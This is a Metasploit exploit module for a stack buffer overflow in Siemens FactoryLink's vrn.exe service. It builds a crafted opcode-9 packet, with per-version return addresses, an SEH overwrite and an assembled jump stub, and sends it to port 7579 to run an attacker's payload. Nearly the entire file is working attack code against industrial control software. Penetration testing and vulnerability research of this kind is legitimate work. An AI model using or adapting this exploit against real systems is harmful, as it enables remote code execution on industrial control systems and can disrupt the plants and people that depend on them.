##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
        and 8.0.1.703.  By sending a specially crafted packet, an attacker may be able to
        execute arbitrary code due to the improper use of a vsprintf() function while
        processing the user-supplied text field.  Originally found and posted by
        Luigi Auriemma.
      },
      'Author'         =>
        [
          'Luigi Auriemma', # Public exploit
          'hal',            # Metasploit module
          'MC',             # SEH, badchars, etc
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '72815'],
          ['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],
          ['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 550,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'FactoryLink 7.5',        { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],
          [ 'FactoryLink 7.5 SP2',    { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],
          [ 'FactoryLink 8.0.1.703',  { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],
        ],
      'DisclosureDate' => 'Mar 21 2011'))

      register_options([Opt::RPORT(7579)], self.class)
  end

  def exploit

    header =  "\x3f" * 4
    header << "\xff\x55"
    header << "\x09\x00" # opcode
    header << "\x3f\x3f\xff\xff"
    header << "\x00\x00\x3f\x3f"
    header << "\x01\x00"
    header << "\x3f" * 16
    header << "\x01\x00\x01\x00"
    header << "\x3f\x3f"

    data = rand_text_alpha_upper(65535)
    data[448, payload.encoded.length] = payload.encoded
    data[target['Offset'], 8]  = generate_seh_record(target.ret)
    data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string

    print_status("Trying target #{target.name}...")

    connect
    sock.put(header + data)

    handler

    select(nil,nil,nil,1)
    disconnect

  end

end
